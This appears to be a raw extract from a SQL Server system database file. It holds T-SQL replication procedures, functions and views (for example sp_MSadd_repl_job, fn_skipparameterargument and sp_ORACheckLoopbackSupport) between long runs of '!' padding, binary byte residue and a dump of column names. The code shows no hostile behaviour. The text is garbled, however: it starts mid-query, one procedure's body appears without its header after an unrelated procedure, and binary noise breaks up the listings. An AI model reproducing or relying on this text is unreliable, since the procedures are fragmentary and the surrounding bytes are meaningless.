        DATE_CREATED    = o.create_date,
        DATE_MODIFIED   = convert(datetime,null)
    from
        sys.all_objects o
    where
        o.type in ('S','U','V','SN')

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`T	o<
]‡0
 8 
-- add it
create view sys.dm_pdw_component_health_active_alerts as
select
	pdw_node_id,
	component_id,
	component_instance_id	collate database_default component_instance_id,
	alert_id,
	alert_instance_id	collate database_default alert_instance_id,
	current_value	collate database_default current_value,
	previous_value	collate database_default previous_value,
	create_time
from sys._dm_pdw_component_health_active_alerts
0 8 
-- add it
create view sys.dm_pdw_nodes_tran_database_transactions as
select *, convert(int, null) pdw_node_id from sys.dm_tran_database_transactions
0)@  8create procedure sys.sp_MSadd_repl_job
  @name                   nvarchar(200),
  @subsystem              nvarchar(60) = 'TSQL',
  @owner_login_name		  nvarchar(256)= NULL,
  @server                 sysname      = NULL,
  @username               sysname      = NULL,
  @databasename           sysname      = NULL,
  @enabled                TINYINT      = 0,
  @freqtype               INT          = 2, -- 2 means OnDemand
  @freqinterval           INT          = 1,
  @freqsubtype            INT          = 1,
  @freqsubinterval        INT          = 1,
  @freqrelativeinterval   INT          = 1,
  @freqrecurrencefactor   INT          = 1,
  @activestartdate        INT          = 0,
  @activeenddate          INT          = 0,
  @activestarttimeofday   INT          = 0,
  @activeendtimeofday     INT          = 0,
  @nextrundate            INT          = 0,
  @nextruntime            INT          = 0,
  @runpriority            INT          = 0,
  @emailoperatorname      nvarchar(100)= NULL,
  @retryattempts          INT          = NULL,
  @retrydelay             INT          = 0,
  @command                nvarchar(4000)= NULL,
  @loghistcompletionlevel INT          = 2,
  @emailcompletionlevel   INT          = 0,
  @description            nvarchar(255)= NULL,
  @tagadditionalinfo      nvarchar(96) = NULL,
  @tagobjectid            INT          = NULL,
  @tagobjecttype          INT          = NULL,
  @cmdexecsuccesscode     INT          = 0,
  @category_name          sysname      = NULL, -- New for 7.0
  @failure_detection      BIT          = 0,
  @agent_id               INT          = NULL,
  @proxy_id               INT          = NULL,    -- Either provide @proxy_id or @job_login & @job_password                 
  @job_login              nvarchar(257)= NULL,
  @job_password           sysname      = NULL,
  @job_id                 BINARY(16)   = NULL OUTPUT,
  @job_step_uid           UNIQUEIDENTIFIER = NULL OUTPUT
AS
BEGIN
	DECLARE @retcode 	int,
			@count 		int,
			@count_str	nvarchar(4000),
			@len		int
	
	-- Verify that the job to be added is a repl job
	IF @subsystem NOT IN (N'TSQL', 
							N'Snapshot', 
							N'LogReader', 
							N'Distribution', 
							N'Merge', 
							N'QueueReader')
		OR @category_name NOT IN (N'REPL-Alert Response',
									N'REPL-Checkup',
									N'REPL-Distribution',
									N'REPL-Distribution Cleanup',
									N'REPL-History Cleanup',
									N'Replication',
									N'REPL-LogReader',
									N'REPL-Merge',
									N'REPL-QueueReader',
									N'REPL-Snapshot',
									N'REPL-Subscription Cleanup')

	BEGIN
		-- Only replication jobs or job schedules can be added, modified or dropped via replication stored procedures.
		RAISERROR(22538, 16, -1)
		RETURN 1
	END
    
	-- if the following settings are null we will set the values
	SELECT @owner_login_name 	= ISNULL(@owner_login_name, SUSER_SNAME()),
			@databasename		= ISNULL(@databasename, DB_NAME()),
			@count 				= 0

	-- If a job with this name already exist we will attempt
	-- to generate a new unique name and then continue ...
    WHILE EXISTS (SELECT * 
    			FROM msdb.dbo.sysjobs_view 
    			WHERE name = @name collate database_default)
    BEGIN
       	SELECT @count = @count + 1
       	
    	SELECT @count_str = N'.' + CONVERT(nvarchar(4000), @count)

	   	IF LEN(@name) + LEN(@count_str) < 200
	   	BEGIN
			SELECT @len = LEN(@name)
	   	END
	   	ELSE
	   	BEGIN
			SELECT @len = LEN(@name) - LEN(@count_str)
	   	END
	   	
		SELECT @name = LEFT(@name, @len) + @count_str
    END
    
	-- call internal add procedure
    EXEC @retcode = sys.sp_MSadd_repl_job_unsafe @name = @name,
											    @subsystem = @subsystem,
											    @owner_login_name = @owner_login_name,
											    @server = @server,
											    @username = @username,
											    @databasename = @databasename,
											    @enabled = @enabled,
											    @freqtype = @freqtype,
											    @freqinterval = @freqinterval,
											    @freqsubtype = @freqsubtype,
											    @freqsubinterval = @freqsubinterval,
											    @freqrelativeinterval = @freqrelativeinterval,
											    @freqrecurrencefactor = @freqrecurrencefactor,
											    @activestartdate = @activestartdate,
											    @activeenddate = @activeenddate,
											    @activestarttimeofday = @activestarttimeofday,
											    @activeendtimeofday = @activeendtimeofday,
											    @nextrundate = @nextrundate,
											    @nextruntime = @nextruntime,
											    @runpriority = @runpriority,
											    @emailoperatorname = @emailoperatorname,
											    @retryattempts = @retryattempts,
											    @retrydelay = @retrydelay,
											    @command = @command,
											    @loghistcompletionlevel = @loghistcompletionlevel,
											    @emailcompletionlevel = @emailcompletionlevel,
											    @description = @description,
											    @tagadditionalinfo = @tagadditionalinfo,
											    @tagobjectid = @tagobjectid,
											    @tagobjecttype = @tagobjecttype,
											    @cmdexecsuccesscode = @cmdexecsuccesscode,
											    @category_name = @category_name,
											    @failure_detection = @failure_detection,
											    @agent_id = @agent_id,
											    @proxy_id = @proxy_id,
											    @job_login = @job_login,
											    @job_password = @job_password,
											    @job_id = @job_id OUTPUT,
											    @job_step_uid = @job_step_uid OUTPUT
        
    RETURN @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5	4`<K
90=	 8create procedure sys.sp_MSgetmergelastupdatedtime(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscription_type int
    )
as
begin
    set nocount on
    declare @pubid          uniqueidentifier
    declare @subid          uniqueidentifier
    declare @last_updated_time         nvarchar(40)
    declare @last_updated_datetime    datetime

    select @last_updated_datetime = null
    select @last_updated_time = null

    select @pubid = pubid from dbo.sysmergepublications 
        where UPPER(publisher) collate database_default = UPPER(@publisher) collate database_default 
            and publisher_db = @publisher_db and name = @publication
    if @pubid is NULL
    begin
        select 'last updated time' = @last_updated_time
        raiserror(21056, 16, -1)        
        return 1
    end

    select @subid = subid from dbo.sysmergesubscriptions 
        where UPPER(subscriber_server) collate database_default = UPPER(@@servername) collate database_default
        and db_name = db_name()
    if (@subid is NULL)
    begin
        select 'last updated time' = @last_updated_time
        raiserror(21056, 16, -1)        
        return 1
    end
    
    select @last_updated_datetime = last_sync_date 
      from dbo.sysmergesubscriptions where pubid = @pubid and subid = @subid and subscription_type = @subscription_type

    if @last_updated_datetime is not null
    begin
        select @last_updated_time = sys.fn_replformatdatetime(@last_updated_datetime)
    end

    select 'last updated time' = @last_updated_time

    if @last_updated_time is null
    begin
        raiserror(21384, 16, -1)
        return 1
    end
    return 0
end
0@ \8create procedure sys.sp_MSget_MSmerge_rowtrack_colinfo as
set nocount on

create table #temp_MSmerge_rowtrack
(
        tablenick                       int not null,
        rowguid                         uniqueidentifier not null,
        changetype                      tinyint not null,
        changed                         int not null,
        rowvector                       varbinary(11) null,
        changedcolumns          varbinary(128) null,
        columns_enumeration     tinyint not null, -- COLUMNS_ENUMERATED
        -- sync_cookie is set upon enumerating a change. It allows to determine
        -- for what publisher/publication the upload takes place.
        sync_cookie                     int null
)
select * from #temp_MSmerge_rowtrack where 1 = 2
drop table #temp_MSmerge_rowtrack
int
    DECLARE @tableid   int
    DECLARE @publicationid int

    -- Initialization
    SET @subscription_status = 0

    -- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Check if the database is published.
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- Parameter Check:  @publication.
    -- Check to make sure that the publication name
    -- conforms to the rules for identifiers and that the publication
    -- actually exists.  Disallow NULL.
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_getsubscription_status_hsnapshot')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    -- Parameter Check:  @article.
    -- Check to make sure that the article name conforms
    -- to the rules for identifiers and that the article
    -- actually exists.  Disallow NULL.
    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_getsubscription_status_hsnapshot')
        RETURN (1)
    END
    
    CREATE TABLE #dist_agent_status
	(
		status  int NULL,
		job_id 	VARBINARY(16) NULL,
	)

    INSERT INTO #dist_agent_status
    EXECUTE @retcode = sys.sp_distagentstatus @publication, @publisher

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    SELECT	@subscription_status =
			case
				when sub.status = 2 and das.status = 0 then 0
				else sub.status
			end,
		@articleid = art.article_id,
		@tableid   = art.table_id,
		@publicationid = art.publication_id
    FROM	master.dbo.sysservers ss,
 			master.dbo.sysservers ssub,   			
			dbo.MSpublications mpub,
			dbo.IHarticles art WITH (INDEX( idx_IHarticles_name )),
			dbo.IHsubscriptions sub WITH (INDEX( idx_IHsubscriptions_article_id )),
			#dist_agent_status das
    WHERE	UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
      AND	mpub.publisher_id = ss.srvid
      AND	mpub.publication = @publication
      AND	art.publisher_id = ss.srvid
      AND	art.publication_id = mpub.publication_id
      AND	art.name = @article
      AND	sub.article_id = art.article_id
      AND	das.job_id = sub.distribution_jobid
      AND   sub.srvid = ssub.srvid

   DROP TABLE #dist_agent_status

    -- If @subscription_status IS NULL, there were no subscriptions.
    -- Return an empty result set.
    IF @subscription_status IS NULL
    BEGIN
        RETURN (0)
    END	

    IF @subscription_status <> 3
    BEGIN
        SELECT @subscription_status as [subscription status]
        RETURN (0)
    END	

    -- If the subscription status is initiated (3), we need to also check event status at the 
    -- Oracle publisher to determine whether the snapshot agent failed to post a SYNCDONE event
    -- to indicate that the snapshot completed. If no SYNCDONE event was posted but we are still
    -- in reconcilation for the article, return subscribed (1) rather than initiated to force the
    -- snapshot agent to generate a new snapshot.

    -- Define sp_ORAremotequery support table
    create table #hquery
    (
        seq	int identity(2,1),
        cmd	nvarchar(4000)
    )

    -- Define #EVENT support table
    create table #EVENT
    (
        eventcount int
    )

    -- Populate a temp table with the snapshot event information from the publisher
    SELECT @InsColumnList    = 'eventcount'
    SELECT @SelectColumnList = 'EVENTCOUNT'

    -- Query publisher for event information
    INSERT INTO #hquery(cmd) VALUES ('SELECT COUNT(*) AS EVENTCOUNT FROM HREPL_EVENT ')
    INSERT INTO #hquery(cmd) VALUES ('WHERE EVENT_ARTICLE_ID = ' + CONVERT(NVARCHAR(10),@articleid) )
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_TABLE_ID = ' + CONVERT(NVARCHAR(10),@tableid) )
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_PUBLICATION_ID = ' + CONVERT(NVARCHAR(10),@publicationid) )
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_OPERATION IN (6, 11) ')
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_POLLID = 0 ')
 
    EXEC @retcode = sp_ORAremotequery 
            @Server		= @publisher,
            @InsTable		= '#EVENT',
            @InsColumnList	= @InsColumnList,
            @SelectColumnList	= @SelectColumnList

    if @@ERROR <> 0 or @retcode <> 0
    BEGIN
        -- If event information cannot be returned from the publisher
        -- return the subscription status obtained from the distributor
        DROP TABLE #EVENT
        DROP TABLE #hquery
        SELECT @subscription_status as [subscription status]
        RETURN (0)
    END

    SET @eventcount = (SELECT eventcount from #EVENT)

    -- If the event count is 1, no SYNCDONE has been registered and the snapshot agent terminated before completion.
    -- Return a status of subscribed to the snapshot agent to force the generation of a new snapshot.
    IF @eventcount = 1
    BEGIN
        SELECT @subscription_status = 1
    END

    DROP TABLE #EVENT
    DROP TABLE #hquery

    SELECT @subscription_status as [subscription status]
    RETURN (0)  
END    	
0 P8Ih!>"E#!!!!!!!!!!U`
	<
h'
0UA
 F
8create function sys.fn_skipparameterargument(
    @command nvarchar(3200)
    ) returns nvarchar(3200)
begin
    declare @state int
    declare @i int
    declare @char nvarchar(1)
    declare @command_length int
    declare @state_start int
    declare @state_in_dquote_argument int
    declare @state_seen_matching_dquote int
    declare @state_in_square_bracket_argument int
    declare @state_seen_matching_bracket int
    declare @state_reached_end_of_argument int
    declare @state_in_unquoted_argument int
    declare @state_exit int
    -- Initializations
    select @state_start = 0
    select @state_in_dquote_argument = 1    
    select @state_seen_matching_dquote = 2
    select @state_in_square_bracket_argument = 3
    select @state_seen_matching_bracket = 4
    select @state_reached_end_of_argument = 5
    select @state_in_unquoted_argument = 6
    select @state_exit = 7

    select @i = 1
    select @state = @state_start
    select @command_length = len(@command)  

    while @i <= @command_length
    begin

        select @char = substring(@command,@i,1)
        select @state = 
            case @state 
            when @state_start then
                case 
                when sys.fn_chariswhitespace(@char) = 1 then @state_start   
                when @char in (N'-',N'/') then @state_exit
                when @char in (N'[') then @state_in_square_bracket_argument
                when @char in (N'"') then @state_in_dquote_argument
                else @state_in_unquoted_argument
                end
            when @state_in_dquote_argument then
                case 
                when @char in (N'"') then @state_seen_matching_dquote
                else @state_in_dquote_argument
                end
            when @state_seen_matching_dquote then
                case 
                when @char in (N'"') then @state_in_dquote_argument 
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_exit
                end
            when @state_in_square_bracket_argument then
                case
                when @char in (N']') then @state_seen_matching_bracket
                else @state_in_square_bracket_argument  
                end
            when @state_seen_matching_bracket then
                case 
                when @char in (N']') then @state_in_square_bracket_argument
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_exit
                end
            when @state_reached_end_of_argument then
                case 
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_exit    
                end
            when @state_in_unquoted_argument then
                case
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_in_unquoted_argument
                end
            else @state         
            end 

        if @state = @state_exit
        begin
            goto done
        end
    select @i = @i + 1
    end -- while
done:
    select @command = substring(@command, @i, @command_length - @i + 1)
    return @command 
end
0 D8k/h	'	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<<odc170 p8
create procedure sys.sp_provider_types_rowset
(
    @data_type  smallint = null,
    @best_match tinyint  = null
)
as
    select
        TYPE_NAME           = s_ptv.TYPE_NAME,
        DATA_TYPE           = s_ptv.DATA_TYPE_28,   -- for backward compatibility
        COLUMN_SIZE         = s_ptv.COLUMN_SIZE_28, -- for backward compatibility
        LITERAL_PREFIX      = s_ptv.LITERAL_PREFIX,
        LITERAL_SUFFIX      = s_ptv.LITERAL_SUFFIX,
        CREATE_PARAMS       = s_ptv.CREATE_PARAMS_90,
        IS_NULLABLE         = s_ptv.IS_NULLABLE,
        CASE_SENSITIVE      = s_ptv.CASE_SENSITIVE,
        SEARCHABLE          = s_ptv.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = s_ptv.UNSIGNED_ATTRIBUTE,
        FIXED_PREC_SCALE    = s_ptv.FIXED_PREC_SCALE,
        AUTO_UNIQUE_VALUE   = s_ptv.AUTO_UNIQUE_VALUE,
        LOCAL_TYPE_NAME     = s_ptv.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = s_ptv.MINIMUM_SCALE_90,
        MAXIMUM_SCALE       = s_ptv.MAXIMUM_SCALE_90,
        GUID                = s_ptv.GUID,
        TYPELIB             = s_ptv.TYPELIB,
        VERSION             = s_ptv.VERSION,
        IS_LONG             = s_ptv.IS_LONG,
        BEST_MATCH          = s_ptv.BEST_MATCH_28,
        IS_FIXEDLENGTH      = s_ptv.IS_FIXEDLENGTH_90
    from
        sys.spt_provider_types_view s_ptv
    where
        (@data_type is null or s_ptv.DATA_TYPE_28 = @data_type) and
        (@best_match is null or s_ptv.BEST_MATCH_28 = @best_match)
    order by 2, 20, 19, 8 -- Adding BEST_MATCH, IS_LONG and CASE_SENSITIVE to workaround a bug in DTS wizard (see SQL BU 372342)
0 D8hhU)0'@ i8
--
-- Name:
--		sp_MSrepl_getdbmsinfo
--
-- Description:
--		Retrieve data type info
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Retrieves ID values for data type, dbms
--

CREATE PROCEDURE sys.sp_MSrepl_getdbmsinfo
(
	@dbms			sysname,
	@version		sysname = NULL,
	@type			sysname,
	@dbms_id		int OUTPUT,
	@datatype_id	int OUTPUT
)
AS
BEGIN
	-- Prepare dbms for case insensitive searches
	SET @dbms = UPPER(@dbms)

	-- Get DBMS id
	SELECT	@dbms_id = dbms_id
	FROM	msdb.dbo.MSdbms
	WHERE	dbms	= @dbms
	  AND	sys.fn_IHcompareversion(version, @version) = 1
	  
	IF @dbms_id IS NULL OR @@ERROR <> 0
	BEGIN
		RAISERROR(21653, 16, -1, @dbms, @version)
		RETURN (1)
	END
	  
	-- Get data type
	SELECT	@datatype_id = datatype_id
	FROM	msdb.dbo.MSdbms_datatype
	WHERE	dbms_id = @dbms_id
	  AND	UPPER(type COLLATE DATABASE_DEFAULT) =
		UPPER(@type) COLLATE DATABASE_DEFAULT
	  
	IF @datatype_id IS NULL OR @@ERROR <> 0
	BEGIN
		RAISERROR(21654, 16, -1, @type)
		RETURN (1)
	END

	RETURN (0)
END
0S 
8
--
-- Name:
--		sp_ORACheckLoopbackSupport
--
-- Description:
--		Verify subscriber is configured with loopback support (Oracle specific)
--
-- Inputs:
--		@subscriber		== subscriber name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by sp_IHCheckLoopbackSupport
--

CREATE PROCEDURE sys.sp_ORACheckLoopbackSupport
(
	@subscriber			sysname
)
AS
BEGIN
	DECLARE @retcode		int
	DECLARE @subid			int
	DECLARE @InsColumnList		nvarchar(200)
	DECLARE @SelectColumnList	nvarchar(200)
	DECLARE @publisher		sysname

	-- Verify subscriber exists
	SELECT	@subid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@subscriber) collate database_default
	
	IF @subid IS NULL
	BEGIN
		SELECT	@subscriber = QUOTENAME(@subscriber)
		RAISERROR(21740, 16, -1, @subscriber)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define #MSSQLSERVERDISTRIBUTOR support table
	create table #MSSQLSERVERDISTRIBUTOR
	(
		publisher	sysname,
		distributor	sysname,
		distributiondb	sysname,
		version		sysname,
		status		int
	)

	--
	-- Populate a temp table with the distributor information from subscriber
	--
	SELECT @InsColumnList    = 'publisher, distributor, distributiondb, version, status'
	SELECT @SelectColumnList = '*'

	-- Query subscriber for distributor information
	INSERT INTO #hquery(cmd) VALUES ('SELECT DISTRIBUTOR_PUBLISHERNAME, ')
	INSERT INTO #hquery(cmd) VALUES ('DISTRIBUTOR_DISTRIBUTORNAME, ')
	INSERT INTO #hquery(cmd) VALUES ('DISTRIBUTOR_DISTRIBUTIONDB, ')
	INSERT INTO #hquery(cmd) VALUES ('DISTRIBUTOR_PRODUCTVERSION, ')
	INSERT INTO #hquery(cmd) VALUES ('DISTRIBUTOR_STATUS ')
	INSERT INTO #hquery(cmd) VALUES ('FROM MSSQLSERVERDISTRIBUTOR ')
	
	EXEC @retcode = sp_ORAremotequery 
					@Server			= @subscriber,
					@SelectColumnList	= @SelectColumnList,
					@InsTable		= '#MSSQLSERVERDISTRIBUTOR',
					@InsColumnList		= @InsColumnList

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		DROP TABLE #MSSQLSERVERDISTRIBUTOR
		DROP TABLE #hquery

		SELECT	@subscriber = QUOTENAME(@subscriber)

		RAISERROR (21741, 16, -1, @subscriber)
		RETURN (1)
	END

	-- Verify subscriber is also publisher
	IF NOT EXISTS
	(
		SELECT	publisher
		FROM	#MSSQLSERVERDISTRIBUTOR
		WHERE	UPPER(publisher collate database_default) = UPPER(@subscriber)
	)
	BEGIN
		DROP TABLE #MSSQLSERVERDISTRIBUTOR
		DROP TABLE #hquery

		SELECT	@publisher = QUOTENAME(@publisher),
			@subscriber = QUOTENAME(@subscriber)

		RAISERROR (21742, 16, -1, @publisher, @subscriber)
		RETURN (1)
	END
	
	DROP TABLE #MSSQLSERVERDISTRIBUTOR

	-- Verify that HREPL.SetSqlOriginator can be called using the connection
	-- to the subscriber.

	TRUNCATE TABLE #hquery

	-- call HREPL.SetSqlOriginator to verify that bi-directional support has
	-- been installed at the Oracle database. Since this query may not be made by
	-- the replication administrator, use the public synonym to identify the HREPL package.
	INSERT INTO #hquery(cmd) VALUES (N'CALL MSSQLSERVERSETSQLORIGINATOR.SetSqlOriginator')

	EXEC @retcode = sys.sp_IHquery @publisher
	
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		DROP TABLE #hquery

		SELECT	@publisher = QUOTENAME(@publisher)

		RAISERROR (21743, 16, -1, @publisher)
		RETURN (1)
	END
	
	DROP TABLE #hquery

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}`-I)2	BJ*c0-88
Kprovider_id0-$$=guid0-4Uprovider_version0-4Usqlcrypt_version0-4Ofriendly_name0-4[authentication_type0-00_symmetric_key_support0-00gsymmetric_key_persistance0-	00]symmetric_key_export0-
00]symmetric_key_import0-00aasymmetric_key_support0-00iasymmetric_key_persistance0-
00_asymmetric_key_export0-00_asymmetric_key_import-V0-VC@hexstr0-88
A@objid0-I@publisher0-O@publisher_db0-M@publication0-G@procname0-K@proc_owner0-E@cftproc0-O@identity_col0-	C@ts_col0-
E@op_type0-[@primary_key_bitmap0-88
K@pubversion44MDATA_TYPE_280-88
KCOLUMN_SIZE0-88
QCOLUMN_SIZE_280-@@QLITERAL_PREFIX0-@@QLITERAL_SUFFIX0-	@@OCREATE_PARAMS0-
@@UCREATE_PARAMS_900-hhKIS_NULLABLE0-hhQCASE_SENSITIVE0-
88
ISEARCHABLE0-00YUNSIGNED_ATTRIBUTE0-hhUFIXED_PREC_SCALE0-00WAUTO_UNIQUE_VALUE0-SLOCAL_TYPE_NAME0-44OMINIMUM_SCALE0-44UMINIMUM_SCALE_900-44OMAXIMUM_SCALE0-44UMAXIMUM_SCALE_900-$$=GUID0-CTYPELIB0-CVERSION0-hhCIS_LONG0-hhIBEST_MATCH0-hhOBEST_MATCH_900-hhOBEST_MATCH_280-hhQIS_FIXEDLENGTH0-hhWIS_FIXEDLENGTH_900-44WMANAGED_DATA_TYPE0-J8USPECIFIC_CATALOG0-J8SSPECIFIC_SCHEMA0-J8OSPECIFIC_NAME0-J888
UORDINAL_POSITION0-J8QPARAMETER_MODE0-J8GIS_RESULT0-J8IAS_LOCATOR0-J8QPARAMETER_NAME0-J8	GDATA_TYPE0-J8
88
eCHARACTER_MAXIMUM_LENGTH0-J888
aCHARACTER_OCTET_LENGTH0-J8WCOLLATION_CATALOG0-J8
UCOLLATION_SCHEMA0-J8QCOLLATION_NAME0-J8_CHARACTER_SET_CATALOG0-J8]CHARACTER_SET_SCHEMA0-J8YCHARACTER_SET_NAME0-J800WNUMERIC_PRECISION0-J844cNUMERIC_PRECISION_RADIX0-J888
ONUMERIC_SCALE0-J844YDATETIME_PRECISION0-J8<<OINTERVAL_TYPE0-J844YINTERVAL_PRECISION0-J8gUSER_DEFINED_TYPE_CATALOG0-J8eUSER_DEFINED_TYPE_SCHEMA0-J8aUSER_DEFINED_TYPE_NAME0-J8OSCOPE_CATALOG0-J8MSCOPE_SCHEMA0-J8ISCOPE_NAME0-M@publication0-I@publisher0-O@publisher_db0-UI@owner_sid0-88
A@objid0-I@publisher0-O@publisher_db0-M@publication0-G@procname0-K@proc_owner0-E@cftproc0-O@identity_col0-	C@ts_col0-
E@op_type\8

A
<W
b

	u	(	MfLGp%BuD_<=`R
-)	90-,+@C@cookie0-388
Ebucketid0-388
Grefcounts0-388
Gusecounts0-388
Osize_in_bytes0-3_memory_object_address0-3d4dMcacheobjtype0-3(4(Cobjtype0-3@@Kplan_handle0-3	88
Cpool_id0-3
@@Yparent_plan_handle0-388
Kpdw_node_id0-!9C@job_id0-!9Q@offloadserver0-!9K@agent_type0-0Q@remotesrvname0-0M@locallgname0-0O@remotelgname0-E88
A@artid0-E00Q@publishertype0-EI@publisher0- 2$$G@agent_id0- 200K@agent_type0- 2S@monitor_server0- 288
g@history_retention_period0- 2==M@curdate_utc0- 6M@distributor0-?88
A@objid0-?K@inscommand
?@mode0-8!q88
O@update_table0-x44Isession_id0-x88
Irequest_id0-x88
Mscheduler_id0-x44;dop0-x==Mrequest_time0-x==Igrant_time0-x[requested_memory_kb0-xWgranted_memory_kb0-x	Yrequired_memory_kb0-x
Qused_memory_kb0-xYmax_used_memory_kb0-x>>5Iquery_cost0-x
88
Ktimeout_sec0-x44_resource_semaphore_id0-x44Equeue_id0-x88
